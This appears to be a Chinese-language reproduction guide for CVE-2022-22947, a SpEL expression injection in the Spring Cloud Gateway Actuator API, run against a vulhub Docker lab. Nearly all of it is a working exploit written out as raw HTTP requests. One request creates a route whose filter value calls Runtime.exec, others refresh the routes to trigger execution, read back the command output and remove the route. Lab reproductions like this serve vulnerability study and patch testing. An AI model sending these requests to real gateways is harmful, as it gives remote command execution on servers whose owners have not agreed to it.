Spring Cloud Gateway Actuator API SpEL表达式注入命令执行
漏洞简述
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。
影响范围
Spring Cloud Gateway 3.1.x - 3.1.1
Spring Cloud Gateway 3.0.x - 3.0.7
旧的、不受支持的版本也会受到影响
环境搭建
cd /vulhub/spring/CVE-2022-22947
docker-compose up -d
漏洞复现
打开http://192.168.3.151:8080
构造恶意伪造数据包
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.3.151:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
用刚添加的路由发送如下数据包，此数据包会触发表达式执行
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.3.151:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
构造数据包查看结果
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.3.151:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2
结束后删除路由
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.3.151:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
最后在刷新
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.3.151:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
